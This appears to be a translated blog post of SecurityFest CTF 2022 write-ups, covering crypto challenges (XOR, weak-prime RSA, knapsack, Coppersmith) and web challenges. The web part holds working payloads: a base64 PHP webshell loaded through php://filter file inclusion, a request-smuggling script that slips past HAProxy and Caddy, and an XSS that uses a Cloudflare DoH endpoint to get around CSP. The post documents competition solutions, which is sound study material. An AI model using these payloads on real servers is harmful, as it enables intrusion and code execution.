SecurityFest CTF 2022 Writeups

發表於
分類於 CTF
This article is LLM-translated by GPT-4o, so the translation may be inaccurate or complete. If you find any mistake, please let me know.

I found out about this CTF from Cryptohack DC, so I registered midway as peko and solved some crypto and web challenges, ending up in sixth place.

  Scoreboard Screenshot

Crypto

panta fler

In short, it has three messages a,b,ca, b, c and a key kk of the same length, encrypted using xor: ak,bk,cka \oplus k, b \oplus k, c \oplus k.

First, by xoring two ciphertexts, you can get aba \oplus b, and using the flag prefix SECFEST{, you can guess that the result looks like an English word. Similarly, testing aca \oplus c also yields an English word, so aa is the flag, and b,cb, c are likely English sentences.

Then, by using English words and grammar to guess the plaintext of b,cb, c, you can gradually recover a longer kk until the entire flag is revealed.

I used a simple interactive tool I had previously made for similar challenges to help me guess the flag.

from functools import reduce


def xor(*args):
    if len(args) == 2:
        x, y = args
        return bytes([a ^ b for a, b in zip(x, y)])
    return reduce(xor, args)


ct = [
    b"\xc1=\x01}\xe7\x1c\x94YRj\xb3\xa7K@\xde\x0c\x9a\xc9\x00\xb0ZB\r\x87\r\x8b\x8f\xffQ\xc7",
    b"\xfc\x1d4^\xd0o\xb2GE|\x89\xe4^]\xcfE\x86\xdd\x1e\x8a\r@\x1c\x96r\x92\x87\xec\x19\xd4",
    b"\xfa\x19!P\x82;\xa8G\x10\x7f\x80\xa5DP\xdeE\x94\xc8S\x9cHH\x1f\x8a!\x87\xc0\xe3\x1f\xcd",
]
key = xor(b"SECFEST{", ct[0])
# key = xor(b"SECFEST{be_cautious_with_xor!}", ct[0])


while True:
    pts = [xor(key, c) for c in ct]
    for i, pt in enumerate(pts):
        print(i, pt)
    idx = int(input("Enter index: "))
    if idx == -1:
        break
    c = input("Enter next char: ")[0]
    key += bytes([ord(c) ^ ct[idx][len(key)]])
    print("Current key:", key.hex())
print([xor(key, c) for c in ct])
# SECFEST{be_cautious_with_xor!}

small rsa

from random import randrange
from gmpy2 import next_prime, is_prime
bits = 128
bound = randrange(2**(bits-1), 2**bits)
print("b =", bound)
#299089579545315329927831077361748367952
B = int(next_prime(bound**2))
print("B =", B)
#89454576592593506198091003676782760426164579104178557226654770323935580674319
d = 8

def gen_prime():
    while True:
        ps = [randrange(bound) for _ in range(d)]
        p = 0
        for i in range(d):
            p += ps[i]*B**i
        if is_prime(p):
            break
    print(ps)
    return p

p = gen_prime()
q = gen_prime()
n = p*q
print(f"{n = }")
#34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529

e = 65537
m = b"[REDACTED]"
m = int.from_bytes(m, "big")
c = pow(m, e, n)
print(f"{c = }")
#20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273

A straightforward RSA challenge, where the prime generation part is special, so the goal is clearly to factorize n=pqn=pq directly.

This challenge has a bound of about 128 bits and another number B approximately equal to bound**2, both fitting this form:

p=p0+p1B+p2B2+p=p_0+p_1 B+p_2 B^2+\cdots

The coefficients pip_i are all less than bound.

An intuitive idea is to treat it as a polynomial of BB and directly multiply pqpq:

n=pq=p0q0+(p0q1+p1q0)B+\begin{aligned} n &= pq \\ &= p_0q_0 + (p_0q_1+p_1q_0)B + \cdots \end{aligned}

So theoretically, you just need to handle nn with BB as the base and then factorize the polynomial…?

In practice, some experiments show that fn(x)f_n(x) and fp(x)fq(x)f_p(x)f_q(x) are not the same because when the coefficients exceed BB, they need to carry. So the coefficients are not the same. This seems to be the key difference in difficulty between integer factorization and polynomial factorization: Does the security of RSA come from just the carries in multiplication?.

However, in this challenge, since piBp_i \approx \sqrt{B}, the carrying part is minimal, so directly brute-forcing the carry to backtrack fp(x)fq(x)f_p(x)f_q(x) and then factorizing gives p,qp, q to solve the challenge.

from Crypto.Util.number import *
from itertools import product

B = 89454576592593506198091003676782760426164579104178557226654770323935580674319
n = 34636826522268200537774154204941407529988822872148894567372441583415254552447302749228340228906546920018188955427366065775864988572478602396106371080685655564033817360335889100181326997156956367867826271804748628399970980872535732627789819667138755054766468613617857322669943746935541793686046017146304058463046888768033823974071280198556883407966869840605294817458160107581025567028344865676401747062383757953634109234225473151412286700057343914024601771084294978143682676406989676297209210216751760067457688993962995389392757065579902776423369572207772618783218733875876004666171649676348837063312375577831738151728184702454332533310164381393954188000484797023852778358325185035355456975120195736428957973841058260571165844580731851332614644310138023335666774129908073810240673290494869672972129721881195738377137440359704474859842375310892200036137555884160008753002740372280734559191112796694291489720084349580961011222521816640149582773655766774142060407687849118888102012006683658983742498222152936133450205031770557715936326829853770866589383519670805541691607883632863177387841208657406032490492781368768715851417369111054048036698365329818004529
c = 20028745085195583678378916660396397538994010666442432435713640627343638544983255393172148533881365971854283869014758186049316988000737550769605639679479180589253955045598774721246899297252406061180515011481963360240256930643234163280545121729316133742144823763601498670419742214338058035882729739026231634052850909950379775962557912899396425158183194713786156167265753101307366270122197291552260459611820717997757267712339753750891161458350673859656475246424157412488302546155825912483333623112241511338503582503574264361642880778925970123483773426929656284901291439896260232211956880277503017106751458194801408711006508735697948503777541874602351630564440747713117941961365774432080957568074493024639496001096643016830901025267139229529531498995611208677992804905291286283800620644472474016518205177496080326978650925595478508487654201440611536444236269249350798132974110183405726386731371083064781799161730272554725154294836754680153505618540394615227117220937285324830238267813179531144987439258005506277060338763635818845237827323991005526601556189238304698762279589753458427889093496877392067155432030319457380945056863466258912867795091887061462273

carries = [1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 2, 2, 2, 2, 2, 1]


def uncarry(coef, unc):
    coef = coef[:]
    for i in range(len(coef) - 1, 0, -1):
        coef[i] -= unc[i]
        coef[i - 1] += B * unc[i]
    return coef


P.<x> = ZZ[]
coef = n.digits(B)

for v in product(*map(range, carries)):
    # print(v)
    xx = P(uncarry(coef, v))
    fs = factor(xx)
    if len(fs) == 2 and fs[0][0].degree() == 7 and fs[1][0].degree() == 7:
        print("found")
        p = fs[0][0](B)
        q = fs[1][0](B)
        print(p * q == n)
        if p * q == n:
            break

d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(power_mod(c, d, n)))

Later, I learned from DC that this challenge can be solved using LLL. First, Np0q0(modB)N \equiv p_0 q_0 \pmod{B}, and since p0q0<Bp_0 q_0 < B, directly factoring NmodBN \bmod{B} reveals possible values for p0,q0p_0, q_0.

Next, compare the linear term: n1p0q1+p1q0n_1 \approx p_0q_1 + p_1q_0, using approximate equality due to possible carry errors, which are small. In this case, p0,q0p_0, q_0 are known, so LLL can be used to find small solutions, i.e., p1,q1p_1, q_1.

Then, compare the quadratic term: n2p0q2+p1q1+p2q0n_2 \approx p_0q_2 + p_1q_1 + p_2q_0, and since p0,q0,p1,q1p_0, q_0, p_1, q_1 are known, LLL can be used to find p2,q2p_2, q_2, and so on, iteratively finding all values.

Hellman’s implementation: small_rsa.ipynb

Additionally, someone in DC shared this: https://eprint.iacr.org/2015/398.pdf, which also seems to use LLL to handle such weak primes. However, the person who shared the link mentioned that they couldn’t get it to work.

knäppsäck

from random import sample, randint 
 
p = random_prime(2^1024) 
R = Zmod(p) 
 
groups = list(randint(2, 6) for i in range(40)) 
thresh = list(randint(i//2, i//2 + 1) for i in groups) 
 
G = list( 
    list(R.random_element() for i in range(c))  
    for c in groups 
) 
 
message = list( 
    sorted(sample(range(g), i))[::-1] 
    for g, i in zip(groups, thresh) 
) 
 
P = sum( 
    sum(g[i] for i in m) 
    for m, g in zip(message, G) 
) 
 
print(f"p = {p}") 
print(f"groups = {groups}") 
print(f"thresh = {thresh}") 
print(f"G = {G}") 
print(f"P = {P}") 
 
def lexorder(x, m): 
    if len(x) == 0: return 1 
    return binomial(x[0], len(x)) + lexorder(x[1:], x[0]) 
 
flag, b = 0, 1 
for m, g in zip(message, groups): 
    flag += lexorder(m, g) * b 
    b *= binomial(g, len(m)) 
 
print(f"flag = {flag}") 

By directly looking at the source code, you can see that a subset of GG sums up to PP. Since the density is low (~0.15), directly using LLL and backtracking the message to get the flag works.

with open("output.txt") as f:
    exec(f.read())

ar = sum(G, [])
M = matrix(ar).T.augment(matrix.identity(len(ar)) * 2)
M = M.stack(vector([-P] + [-1] * len(ar)))
M = M.stack(vector([p] + [0] * len(ar)))
M[:, 0] *= 2 ^ 128
R = M.LLL()

sol = list(R[1][1:])
message = []
for g in G:
    cur = sol[: len(g)]
    sol = sol[len(g) :]
    message.append([i for i, v in enumerate(cur) if v == 1][::-1])


def lexorder(x, m):
    if len(x) == 0:
        return 1
    return binomial(x[0], len(x)) + lexorder(x[1:], x[0])


flag, b = 0, 1
for m, g in zip(message, groups):
    flag += lexorder(m, g) * b
    b *= binomial(g, len(m))

print(f"flag = {flag}")

really_sick_æsthetic

from morfarshatt import flagga

g = lambda k: random_prime(2^k) * random_prime(2^k)
r = lambda m: randint(1, m)

n1 = g(512)
n2 = g(512)
n3 = g(512)

m = min(n1, n2, n3)
a, b = r(m), r(m)
c, d = r(m), r(m)

x = int.from_bytes(flagga, byteorder='big')
assert(x < m)

c1 = pow(x, 3, n1)
c2 = pow(a*x + b, 3, n2)
c3 = pow(c*x + d, 3, n3)

print(f'n1, n2, n3 = {n1}, {n2}, {n3}')
print(f'a, b, c, d = {a}, {b}, {c}, {d}')
print(f'c1, c2, c3 = {c1}, {c2}, {c3}')
print(f'{len(flagga)}')

There are three RSA values n1,n2,n3n_1, n_2, n_3, and the flag mm is encrypted as follows:

c1m3(modn1)c2(am+b)3(modn2)c3(cm+d)3(modn3)\begin{aligned} c_1 &\equiv m^3 \pmod{n_1} \\ c_2 &\equiv (am+b)^3 \pmod{n_2} \\ c_3 &\equiv (cm+d)^3 \pmod{n_3} \end{aligned}

If there were repeated nn values, you could use the Related Message Attack with gcd to solve it, but this challenge doesn’t have that. Another similar form is the Hastad Broadcast Attack, but in this challenge, the second and third equations don’t allow me to get m3(modn2)m^3 \pmod{n_2} and m3(modn3)m^3 \pmod{n_3}.

However, the Hastad Broadcast Attack itself uses CRT, and this idea can also be applied here. First, define these polynomials:

f1(x)=x3c1f2(x)=(ax+b)3c2f3(x)=(cx+d)3c3\begin{aligned} f_1(x)&=x^3-c_1 \\ f_2(x)&=(ax+b)^3-c_2 \\ f_3(x)&=(cx+d)^3-c_3 \end{aligned}

It can be seen that fi(m)0(modni)f_i(m) \equiv 0 \pmod{n_i}, and then take the CRT coefficient TiT_i:

Ti1(modni)Ti0(modnji)\begin{aligned} T_i &\equiv 1 \pmod{n_i} \\ T_i &\equiv 0 \pmod{n_{j \neq i}} \end{aligned}

Combining the two, we get f(x)f(x), which can be seen as doing CRT for 00 mod different numbers:

f(x)=f1(x)T1+f2(x)T2+f3(x)T3f(x)=f_1(x)T_1+f_2(x)T_2+f_3(x)T_3

Obviously, f(m)0(modni)f(m) \equiv 0 \pmod{n_i}, so f(m)0(modn1n2n3)f(m) \equiv 0 \pmod{n_1 n_2 n_3}. Since m<min(n1,n2,n3)m < \min(n_1, n_2, n_3), mm is a small root compared to n1n2n3n_1 n_2 n_3, and Coppersmith’s method can be used to solve it.

However, initially, I couldn’t find a solution using small roots directly, and later, I relied on additional hints to solve it:

len(flag) = 127
and
flag = SECFEST{...} + random
from Crypto.Util.number import *

n1, n2, n3 = (
    1401319611347356773887154859254297488587748916167528411781955161070771235056492239930915055430725842906735678800721088435590827145380843922331596331217195998289782451691023636938672246577057750538399961569425132775422780215874173061239620286809361247476788799084351705535705191719741473638161177830819062913,
    93929270671640676038272300621577590050388546365573376058848268755586443513273392470288465422034947305882115935273812814090585070611845743805708732148965001758685938419891262987151989750411904643337379571106949332912476594370786031126592832074202606178259666176275819642895388993805423801590346121886463154493,
    16942255048162971761210283484837728649885892177575028340105590631533021846865838703837850496337964481215216748513001294835312645433010478899804925326573174869703026494395537885248285153728354458825455324651596388723156984568435202926704664556435326575519823264262426064534649720827701655074670423046369428487,
)
a, b, c, d = (
    816707757334025955873551300291115957244929178359163189898836703794096446035376642681339350269646402403623381300867313940921411937931855866555460115147443198624007849492344102900953388236705014598317668063410070421658320251867938311242756954445599777691127340178194758168120083391846957297043258538971682656,
    745711826496100756612627309746963018286384869064570930929420181315701128858481411996420808944706255787336734726114648250308181091719587312246849339268467320198235168275114019618372903191004050047010404038580467357659473336645389978388162270444112395481987515683470136265832310695565656316066649488457251542,
    457113559991336310217047954994454259015470269139045253465880453115425882867168371751366860291496286988706829825972982124718895516194348207894013000632929345548822790821065845244320278540909961203024618547366059145546677151699090715138478903903713059476077714630963005563020709732576278095273999695170245879,
    509199941399276795750649828994710794297214191656907620132065560140027602600782775401578085170024829709169889862887726457343903644876293675737086407127920668618215833854745693576935098817794913606783358855099827179163328860990718950946614721022541431359002875691363746468433769282630310194268851308235950929,
)
c1, c2, c3 = (
    1268196573919981524276949967801999986488529166073152640081117541596594438854836034605091034310174116029963325447867011142758840266458010604314712206281207486042576686131112279236592688360682514879866358817285786950878940051455988959409256539680442525853200118747541970284236278058810272505720905257745240883,
    64208823083728071837064999419452205104115247850043866522128501646834783777966548620165452087334309723488367313973950057214802570403789761738914272552005923211386317615619928040804318066050436314100228196466534901781541660761105159754722013559344265999734902281442779083683166805632208178603445218079969320285,
    8509227949500504626057408247321015695521219754070289890807066036172664538036554468734653260395519871677018843271256389298835987869898579912928540836245194980365843079281083074016559389213798536654944263567871852040147199080662496995097561192482940890984303786845410433468150776276754709196911737317257395314,
)


prefix = int.from_bytes(b"SECFEST{", "big")
T1 = crt([1, 0, 0], [n1, n2, n3])
T2 = crt([0, 1, 0], [n1, n2, n3])
T3 = crt([0, 0, 1], [n1, n2, n3])
P = PolynomialRing(Zmod(n1 * n2 * n3), "x")
x = P.gen()
m = x + prefix * (2 ^ (8 * 119))
f1 = m ^ 3 - c1
f2 = (a * m + b) ^ 3 - c2
f3 = (c * m + d) ^ 3 - c3
f = f1 * T1 + f2 * T2 + f3 * T3
flag = b"SECFEST{" + long_to_bytes(
    ZZ(f.monic().small_roots(X=2 ^ (8 * 119), epsilon=0.03)[0])
)
print(flag)

# SECFEST{0xlol}

Similar challenges:

Web

dumperignon

A PHP challenge, the key part is probably this:

<?php
    ini_set("display_errors", TRUE);
    error_reporting(E_ALL);

    ini_set("allow_url_fopen", 0);
    ini_set("allow_url_include", 0);
    ini_set("open_basedir", "/var/www");

    if(isset($_GET['source'])){
        die(show_source(__FILE__));
    }

    function nohack($str){
        return preg_replace("/(\.\.+|^\/|^(file|http|https|ftp):)/i", "XXX", $str);
    }

    foreach($_POST as $key => $val){
        $_POST[$key] = nohack($val);
    }
    foreach($_GET as $key => $val){
        $_GET[$key] = nohack($val);
    }
    foreach($_REQUEST as $key => $val){
        $_REQUEST[$key] = nohack($val);
    }

    if(isset($_GET['file'])){
        set_include_path("/var/www/messages");
        echo "Message contents: <br>\n<pre>";
        include($_GET['file']);
        echo "</pre>";
        die();
    }


    if(isset($_POST['file'])){
        if(strlen($_POST['file']) > 1000){
            echo "too big file";
            die();
        }
        $filename = md5($_SERVER['REMOTE_ADDR']).rand(1,1337).".msg";
        $fp = fopen("/var/www/messages/".$filename, 'wb');
        fwrite($fp, "<?php var_dump(".var_export($_POST['file'], true).")?>");
        fclose($fp);
        header('Content-Length: 0');
        header('Connection: close');
        header('Location: /?file='.$filename);
        die();
    }else{
		// other html
	}

The solution is simple: write a base64 webshell in /var/www/messages, and then use php://filter/convert.base64-decode/resource=... during LFI to get the webshell.

The only thing to note is that you might need to pad some garbage before the base64 to make the webshell work properly.

Payload:

xxPD9waHAgc3lzdGVtKCRfR0VUWzBdKTsvL3R4
http://dumperignon-01.hackaplaneten.se/?file=php://filter/convert.base64-decode/resource%3D/var/www/messages/e8c2ef8ec46207240b47fd7905b70ede842.msg&0=./flag_dispenser

SECFEST{1_R@n_0ut_of_cl3v3r_fl4gz...}

*tunnelvision

Didn’t solve this during the competition, just making a note

The goal of this challenge is to GET /admin, but there are two proxy layers: Haproxy -> Caddy -> Service

haproxy.cfg:

global
  stats socket /var/run/api.sock user haproxy group haproxy mode 660 level admin expose-fd listeners
  log stdout format raw local0 debug

defaults
  mode http
  timeout client 10s
  timeout connect 5s
  timeout server 10s
  timeout http-request 10s
  log global

resolvers dns
  nameserver ns1 127.0.0.11:53
  hold valid 10s

frontend myfrontend
  bind :80
  acl local_management src 127.0.0.1
  acl restricted_page path -i -m sub admin
  http-request deny if restricted_page !local_management
  default_backend webserver

backend webserver
  http-response set-header Server webserver
  server s1 loadbalancer:80 resolvers dns check

Caddyfile:

:80 {

    @blacklist {
      not {
        path /admin*
      }
    }

	reverse_proxy @blacklist backend:80

}

In short, it just blocks paths like /admin.

Official solution (by @avlidienbrunn):

1. bypass HAP using keep-alive + CONNECT verb + 2xx status (will put HAP in "tunnel mode", it thinks it is supposed to be a proxy, and not apply any rules)
2. bypass caddy blacklist with either invalid pct encoding or GET /admin/../blablabla. caddy uses matching on normalized path, but doesnt actually send normalized path over the wire
# coding=utf-8
import ssl, sys
from pwn import * # pip install pwntools

target = sys.argv[1]

r = remote(target, 80, ssl=False) # ssl=True
request = '''CONNECT /horoscope/leo HTTP/1.1\r\nHost: a\r\n\r\n'''.format(target)
request2 = '''GET /admin/../ HTTP/1.1\r\nHost:{}\r\n\r\n'''.format(target)

print("----------- SENDING CONNECT --------------")
r.send(request)
print(r.recvrepeat(1)) # CONNECT response

print("----------- SENDING admin --------------")
r.send(request2)
print(r.recvrepeat(1)) # smuggled GET /admin response

The /horoscope/leo path just makes it return 200, making haproxy think the proxying was successful, and the Caddy part is documented in weird_proxies - Caddy.

However, I later saw another interesting solution:

curl -X 'POST' -H 'X-HTTP-Method-Override: GET/admin' 'http://tunnelvision-01.hackaplaneten.se/'

So I traced the code and found router.go#L156-L179, which shows that it allows you to override the method with POST and X-HTTP-Method-Override. But generally, overriding the method shouldn’t control the path, right? This works because the routes in this framework are represented as /$METHOD$PATH, like /GET/admin. So by overriding the method, it injects, and since this challenge accepts /admin or /admin/* to get the flag, it successfully matches.

madness

A special XSS challenge (just need alert(1)), with some key parts in the source code:

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def hello_world(path):
    if path == "":
        return redirect("/app", code=301)
    return render_template('index.html', prefix="/"+request.path.lstrip("/"))

# ...

@app.after_request
def add_header(response):
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['Content-Security-Policy'] = "default-src 'self' cloudflare-dns.com; img-src *"
    return response

And index.html:

<html lang="en-US" prefix="og: http://ogp.me/ns#">
  <head id="head">
    <title>Madness</title>
    <link
      href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
      rel="stylesheet"
    />
    <link
      href="https://cloudflare-dns.com/purgeCache-c2074bf50c85410bcdf0.css"
      rel="stylesheet"
    />
    <link rel="stylesheet" href="{{ prefix }}/static/style.css"></link>
    <script type="text/javascript" src="{{ prefix }}/static/dns.js"></script>
    <!-- 
                            
                   _ 
             _ _,-'_)_   
            |,' ,-' __)  ,------/. 
           |     -'  _)/         `\           ______________
          ,'       ,-'_,`           :       /               \
       ,-'       ,(,-(              :      |     DoH'       |
     ,'       ,-' ,    _            ;    --\_______________/
    /        ,-._/`---'            /   _'
   /        (____)(----. )       ,'
  /         (      `.__,     /\ /,
 :           ;-.___         /__\/|
 |         ,'      `--.      -,\ |
 :        /            \    .__/
  \      (__            \    |_
   \       ,`-, *       /   _|,\
    \    ,'   `-.     ,'_,-'    \
   (_\,-'    ,'\")--,'-'       __\
    \       /  // ,'|      ,--'  `-.
     `-.    `-/ \'  |   _,'         `.
        `-._ /      `--'/             \
           ,'           |              \
          /             |               \
       ,-'              |               /
      /                 |             -'
    -->
  </head>
  <body class="purge-cache-page bg">
    <main>
      <section data-section="purge-cache">
        <div class="form-container">
        <header>
          <h1 class="title">Madness DNS</h1>
        </header>
        <p class="description">
          <span
            >This page allows users to refresh DNS cache and lookup domain names without having to be an absolute nerd using terminals and all that stuff. Enjoy!</span
          >
        </p>
           <form id="lookup-name-form"></form>
          <form id="purge-cache-form">
            <div class="label required">Domain Name</div>
            <input
              id="domain"
              class="input-field"
              name="domain"
              type="text"
              placeholder="example.com"
              required=""
            />
            <br />
            <input id="submit-button" type="submit" form="lookup-name-form" value="Lookup DNS name" />
            <input id="submit-button" type="submit" value="Purge DNS cache" />
          </form>
          <div id="info-message"></div>
        </div>
      </section>
    </main>
  </body>
</html>

It’s clear that the prefix is controllable, but due to lstrip("/"), you can’t use //example.com/foo.js to get a third-party script. However, I tested and found that Chrome treats \ as /, so \/example.com/foo.js works.

The next step is to bypass CSP, which only allows self and cloudflare-dns.com. It’s clear that you need to find an endpoint on cloudflare-dns.com that can return a custom payload.

After some research, I found this in the official documentation: Using DNS Wireformat

It allows you to send DNS packets encoded in base64 in the URL, and the response is a binary DNS response. So I looked for a way to make the DNS response into JS to bypass CSP.

I researched DNS protocol details and found this, which helped me understand the DNS packet format. The key is the 16-bit ID at the beginning of the DNS header, which is also returned in the response. So if the ID is 0x2F2A, the response starts with /*.

Next, I tested by putting */alert(1)// in the domain name part of the query, and it appears unchanged in the response, allowing XSS.

from base64 import b64decode, b64encode
from dnslib import DNSRecord, DNSQuestion, DNSHeader

pkt = DNSRecord(DNSHeader(id=0x2F2A), q=DNSQuestion("*/alert(1)//"))
b64encode(pkt.pack())


# http://madness-01.hackaplaneten.se:3000/%5Ccloudflare-dns.com/dns-query%3Fdns%3DLyoBAAABAAAAAAAADCovYWxlcnQoMSkvLwAAAQAB%23
# SECFEST{l00kz_l13K_JS_2_m3!?}

Sometimes, if it fails, you can add some random stuff after DNSQuestion’s name, just make sure the response doesn’t contain 0a or 0d.